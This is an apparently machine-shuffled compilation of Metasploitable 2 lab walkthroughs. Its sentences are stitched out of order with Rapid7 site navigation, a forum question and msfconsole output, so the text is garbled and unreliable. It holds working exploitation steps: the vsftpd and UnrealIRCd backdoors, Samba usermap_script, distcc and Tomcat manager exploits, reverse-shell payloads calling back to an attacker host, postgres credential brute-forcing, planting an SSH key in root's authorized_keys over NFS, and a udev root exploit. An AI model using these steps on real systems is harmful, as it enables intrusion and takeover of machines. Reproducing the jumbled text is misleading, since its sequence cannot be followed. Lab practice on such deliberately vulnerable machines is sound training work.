Once the VM is available on your desktop, open the device, and run it with VMWare Player. 0 Automatic Target
It is inherently vulnerable since it distributes data in plain text, leaving many security holes open. msf exploit(usermap_script) > exploit
So, lets set it up: mkdir /metafs # this will be the mount point, mount -t nfs 192.168.127.154:/ /metafs -o nolock # mount the remote shared directory as nfs and disable file locking. Name Current Setting Required Description
Payload options (java/meterpreter/reverse_tcp):
[*] Writing payload executable (274 bytes) to /tmp/rzIcSWveTb
Every CVE Record added to the list is assigned and published by a CNA.
msf exploit(unreal_ircd_3281_backdoor) > exploit
Name Current Setting Required Description
Need to report an Escalation or a Breach?
The VNC service provides remote desktop access using the password password. The -Pn flag prevents host discovery pings and just assumes the host is up.
Currently, there is metasploitable 2, hosting a huge variety of vulnerable services and applications based on Ubuntu 8.04, and there is a newer Metasploitable 3 that is Windows Server 2008, or . [*] Scanned 1 of 1 hosts (100% complete)
msf exploit(tomcat_mgr_deploy) > exploit
PASSWORD no A specific password to authenticate with
The primary administrative user msfadmin has a password matching the username. Exploit target:
RPORT 139 yes The target port
I thought about closing ports but i read it isn't possible without killing processes.
msf exploit(distcc_exec) > set payload cmd/unix/reverse
What is Metasploit This is a tool developed by Rapid7 for the purpose of developing and executing exploits against vulnerable systems. You could log on without a password on this machine. To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account's authorized_keys file: On port 21, Metasploitable2 runs vsftpd, a popular FTP server. [*] chmod'ing and running it
[*] Command shell session 1 opened (192.168.127.159:57936 -> 192.168.127.154:6200) at 2021-02-06 22:42:36 +0300
If you are prompted for an SSH key, this means the rsh-client tools have not been installed and Ubuntu is defaulting to using SSH. msf exploit(tomcat_mgr_deploy) > show option
msf exploit(usermap_script) > set RPORT 445
We can read the passwords now and all the rest: root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. RPORT 8180 yes The target port
VHOST no HTTP server virtual host
Type help; or \h for help. [*] trying to exploit instance_eval
RHOST => 192.168.127.154
gcc root.c -o rootme (This will compile the C file to executable binary) Step 12: Copy the compiled binary to the msfadmin directory in NFS share. VM version = Metasploitable 2, Ubuntu 64-bit Kernel release = 2.6.24-16-server IP address = 10.0.2.4 Login = msfadmin/msfadmin NFS Service vulnerability First we need to list what services are visible on the target: Performing a port scan to discover the available services using the Network Mapper 'nmap'. Step 7: Bootup the Metasploitable2 machine and login using the default user name and Password: In this tutorial, we will walk through numerous ways to exploit Metasploitable 2, the popular vulnerable machine from Rapid7.
Module options (auxiliary/admin/http/tomcat_administration):
-- ----
An exploit executes a sequence of commands that target a specific vulnerability found in a system or application to provide the attacker with access to the system.
You can view CVE vulnerability details, exploits, references, metasploit modules, full list of vulnerable products and cvss score reports and vulnerability trends over time (e.g. Login with the above credentials. Name Current Setting Required Description
[*] Reading from socket B
Type \c to clear the current input statement. You can edit any TWiki page. What is Metasploit This is a tool developed by Rapid7 for the purpose of developing and executing exploits against vulnerable systems. Totals: 2 Items.
-- ----
-- ----
[*] Accepted the first client connection
Inspired by DVWA, Mutillidae allows the user to change the "Security Level" from 0 (completely insecure) to 5 (secure). NOTE: Compatible payload sets differ on the basis of the target selected. Weve used an Auxiliary Module for this one: So you know the msfadmin account credentials now, and if you log in and play around, youll figure out that this account has the sudo rights, so you can executecommands as root. PASSWORD => tomcat
RPORT 5432 yes The target port
METASPLOIT On-Prem Vulnerability Management NEXPOSE Digital Forensics and Incident Response (DFIR) Velociraptor Cloud Risk Complete Cloud Security with Unlimited Vulnerability Management Explore Offer Managed Threat Complete MDR with Unlimited Risk Coverage Explore offer Services MANAGED SERVICES Detection and Response Your public key has been saved in /root/.ssh/id_rsa.pub. RHOSTS yes The target address range or CIDR identifier
22. Module options (exploit/multi/misc/java_rmi_server):
[*] instance eval failed, trying to exploit syscall
Name Current Setting Required Description
[*] 192.168.127.154:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)
You can do so by following the path: Applications Exploitation Tools Metasploit. Name Current Setting Required Description
RPORT 3632 yes The target port
msf exploit(drb_remote_codeexec) > exploit
Metasploitable 2 has deliberately vulnerable web applications pre-installed.
Depending on the order in which guest operating systems are started, the IP address of Metasploitable 2 will vary. msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
RHOST => 192.168.127.154
So all we have to do is use the remote shell program to log in: Last login: Wed May 7 11:00:37 EDT 2021 from :0.0 on pts/0, Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686. Exploit target:
Target the IP address you found previously, and scan all ports (0-65535). BLANK_PASSWORDS false no Try blank passwords for all users
Module options (auxiliary/scanner/telnet/telnet_version):
0 Automatic
Relist the files & folders in time descending order showing the newly created file.
For the final challenge you'll be conducting a short and simple vulnerability assessment of the Metasploitable 2 system, by launching your own vulnerability scans using Nessus, and reporting on the vulnerabilities and flaws that are discovered. This virtual machine (VM) is compatible with VMWare, VirtualBox, and other common virtualization platforms.
Module options (exploit/multi/samba/usermap_script):
Notice that it does not function against Java Management Extension (JMX) ports as they do not allow remote class loading unless some other RMI endpoint is active in the same Java process. msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
The exploit executes /tmp/run, so throw in any payload that you want. By default, msfconsole opens up with a banner; to remove that and start the interface in quiet mode, use the msfconsole command with the -q flag. LHOST => 192.168.127.159
Nessus was able to login with rsh using common credentials identified by finger. Either the accounts are not password-protected, or ~/.rhosts files are not properly configured.
msf exploit(vsftpd_234_backdoor) > exploit
[*] B: "ZeiYbclsufvu4LGM\r\n"
---- --------------- -------- -----------
We have found the following appropriate exploit: TWiki History TWikiUsers rev Parameter Command Execution. The FTP server has since been fixed but here is how the affected version could be exploited: In the previous section we identified that the FTP service was running on port 21, so lets try to access it via telnet: This vulnerability can also be exploited using the Metasploit framework using the VSFTPD v2.3.4 Backdoor Command Execution. For hints & tips on exploiting the vulnerabilities there are also View Source and View Help buttons. Execute Metasploit framework by typing msfconsole on the Kali prompt: Search all . The Metasploit Framework is the most commonly-used framework for hackers worldwide. Previous versions of Metasploitable were distributed as a VM snapshot where everything was set up and saved in that state.
Were going to exploit it and get a shell: Due to a random number generator vulnerability, the OpenSSL software installed on the system is susceptible to a brute-force attack. [*] Accepted the second client connection
[*] B: "qcHh6jsH8rZghWdi\r\n"
This tutorial shows how to install it in Ubuntu Linux, how it works, and what you can do with this powerful security auditing tool. A Reset DB button in case the application gets damaged during attacks and the database needs reinitializing. Setting the Security Level from 0 (completely insecure) through to 5 (secure). whoami
RHOST => 192.168.127.154
. LHOST => 192.168.127.159
SMBUser no The username to authenticate as
[*] Accepted the first client connection
First of all, open the Metasploit console in Kali. This program makes it easy to scale large compiler jobs across a farm of like-configured systems. Name Current Setting Required Description
LHOST => 192.168.127.159
Were 64 bit Kali, the target is 32 bit, so we compile it specifically for 32 bit: From the victim, we go to the /tmp/ directory and take the exploit from the attacking machine: Confirm that this is the right PID by looking at the udev service: It seems that it is the right one (2768-1 = 2767). LPORT 4444 yes The listen port
It is also instrumental in Intrusion Detection System signature development.
[*] B: "VhuwDGXAoBmUMNcg\r\n"
Step 1: Type the Virtual Machine name (Metasploitable-2) and set the Type: Linux.
msf exploit(drb_remote_codeexec) > set payload cmd/unix/reverse
This set of articles discusses the RED TEAM's tools and routes of attack. Reference: Nmap command-line examples msf exploit(usermap_script) > set payload cmd/unix/reverse
All right, there are a lot of services just awaitingour consideration.
Same as login.php. To access a particular web application, click on one of the links provided. In Metasploit, an exploit is available for the vsftpd version. Lets move on. Metasploitable 2 is a deliberately vulnerable Linux installation. .
now i just started learning about penetration testing, unfortunately now i am facing a problem, i just installed GVM / OpenVas version 21.4.1 on a vm with kali linux 2020.4 installed, and in the other vm i have metasploitable2 installed both vm network are set with bridged, so they can ping each other because they are on the same network. [*] Started reverse double handler
---- --------------- -------- -----------
Description. Next, place some payload into /tmp/run because the exploit will execute that. The next service we should look at is the Network File System (NFS).
---- --------------- -------- -----------
Other names may be trademarks of their respective. (Note: See a list with command ls /var/www.) ---- --------------- ---- -----------
This virtual machine (VM) is compatible with VMWare, VirtualBox, and other common virtualization platforms.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by. ---- --------------- -------- -----------
Proxies no Use a proxy chain
Eventually an exploit . msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.127.154
Proxies no Use a proxy chain
[*] Auxiliary module execution completed, msf > use exploit/multi/samba/usermap_script
msf exploit(distcc_exec) > show options
Have you used Metasploitable to practice Penetration Testing? We can see a few insecure web applications by navigating to the web server root, along with the msfadmin account information that we got earlier via telnet.
[*] Reading from sockets
Step 2: Now extract the Metasploitable2.zip (downloaded virtual machine) into C:/Users/UserName/VirtualBox VMs/Metasploitable2. The VictimsVirtual Machine has been established, but at this stage, some sets are required to launch the machine.
The default login and password is msfadmin:msfadmin. CVEdetails.com is a free CVE security vulnerability database/information source. Once you open the Metasploit console, you will get to see the following screen.
Vulnerability Management Nexpose
A malicious backdoor that was introduced to the Unreal IRCD 3.2.8.1 download archive is exploited by this module. RHOST yes The target address
When running as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. Just enter ifconfig at the prompt to see the details for the virtual machine.
Name Current Setting Required Description
Next, you will get to see the following screen. The backdoor was quickly identified and removed, but not before quite a few people downloaded it. Metasploitable 2 is available at: It is a low privilege shell; however, we can progress to root through the udev exploit,as demonstrated later. [*] A is input
-- ----
0 Automatic
Exploits include buffer overflow, code injection, and web application exploits. [*] Writing to socket A
Digital Forensics and Incident Response (DFIR), Cloud Security with Unlimited Vulnerability Management, 24/7 MONITORING & REMEDIATION FROM MDR EXPERTS, SCAN MANAGEMENT & VULNERABILITY VALIDATION, PLAN, BUILD, & PRIORITIZE SECURITY INITIATIVES, SECURE EVERYTHING CONNECTED TO A CONNECTED WORLD, THE LATEST INDUSTRY NEWS AND SECURITY EXPERTISE, PLUGINS, INTEGRATIONS & DEVELOPER COMMUNITY, UPCOMING OPPORTUNITIES TO CONNECT WITH US. [*] A is input
Name Current Setting Required Description
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
root 2768 0.0 0.1 2092 620 ?
TIMEOUT 30 yes Timeout for the Telnet probe
We will do this by hacking FTP, telnet and SSH services. Upon a hit, Youre going to see something like: After you find the key, you can use this to log in via ssh: as root. URI yes The dRuby URI of the target host (druby://host:port)
USERPASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_userpass.txt no File containing (space-seperated) users and passwords, one pair per line
msf exploit(distcc_exec) > exploit
Perform a ping of IP address 127.0.0.1 three times. Alternatively, you can also use VMWare Workstation or VMWare Server. ---- --------------- -------- -----------
Since this is a mock exercise, I leave out the pre-engagement, post-exploitation and risk analysis, and reporting phases. Name Current Setting Required Description
msf auxiliary(postgres_login) > show options
In addition to these system-level accounts, the PostgreSQL service can be accessed with username postgres and password postgres, while the MySQL service is open to username root with an empty password.
You'll need to take note of the inet address. Here in Part 2 we are going to continue looking at vulnerabilities in other Web Applications within the intentionally vulnerable Metasploitable Virtual Machine (VM).
USERNAME postgres no A specific username to authenticate as
payload => java/meterpreter/reverse_tcp
Enable hints in the application by click the "Toggle Hints" button on the menu bar: The Mutillidae application contains at least the following vulnerabilities on these respective pages: SQL Injection on blog entrySQL Injection on logged in user nameCross site scripting on blog entryCross site scripting on logged in user nameLog injection on logged in user nameCSRFJavaScript validation bypassXSS in the form title via logged in usernameThe show-hints cookie can be changed by user to enable hints even though they are not supposed to show in secure mode, System file compromiseLoad any page from any site, XSS via referer HTTP headerJS Injection via referer HTTP headerXSS via user-agent string HTTP header, Contains unencrytped database credentials. Accessing it is easy: In addition to the malicious backdoors in the previous section, some services are almost backdoors by their very nature. This method is used to exploit VNC software hosted on Linux or Unix or Windows Operating Systems with authentication vulnerability. Module options (exploit/unix/ftp/vsftpd_234_backdoor):
[*] Matching
-- ----
---- --------------- -------- -----------
Metasploitable 2 offers the researcher several opportunities to use the Metasploit framework to practice penetration testing. [*] Accepted the first client connection
[+] Found netlink pid: 2769
Metasploitable 2 Full Guided Step by step overview.
One way to accomplish this is to install Metasploitable 2 as a guest operating system in Virtual Box and change the network interface settings from "NAT" to "Host Only". Then, hit the "Run Scan" button in the .
msf auxiliary(postgres_login) > set RHOSTS 192.168.127.154
[*] Reading from socket B
LHOST yes The listen address
Module options (auxiliary/scanner/postgres/postgres_login):
---- --------------- -------- -----------
msf exploit(java_rmi_server) > set payload java/meterpreter/reverse_tcp
[+] UID: uid=0(root) gid=0(root)
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname
IP address are assigned starting from "101". individual files in /usr/share/doc/*/copyright.
msf auxiliary(telnet_version) > show options
RHOSTS yes The target address range or CIDR identifier
Id Name
msf auxiliary(postgres_login) > set STOP_ON_SUCCESS true
---- --------------- -------- -----------
17,011.
It comes with a large database of exploits for a variety of platforms and can be used to test the security of systems and look for vulnerabilities. Step 6: Display Database Name.
Exploiting All Remote Vulnerability In Metasploitable - 2. LHOST => 192.168.127.159
The-e flag is intended to indicate exports: Oh, how sweet! [*] Uploading 13833 bytes as RuoE02Uo7DeSsaVp7nmb79cq.war
On July 3, 2011, this backdoor was eliminated. USERNAME => tomcat
Matching Modules
-- ----
865.1 MB. root, msf > use auxiliary/scanner/postgres/postgres_login
(Note: A video tutorial on installing Metasploitable 2 is available here.).
Essentially thistests whether the root account has a weak SSH key, checking each key in the directory where you have stored the keys.
Effectively what happens is that the Name validation is made to always be true by closing off the field with a single quote and using the OR operator. We dont really want to deprive you of practicing new skills.
Now we narrow our focus and use Metasploit to exploit the ssh vulnerabilities. Open in app. This document outlines many of the security flaws in the Metasploitable 2 image. Individual web applications may additionally be accessed by appending the application directory name onto http://
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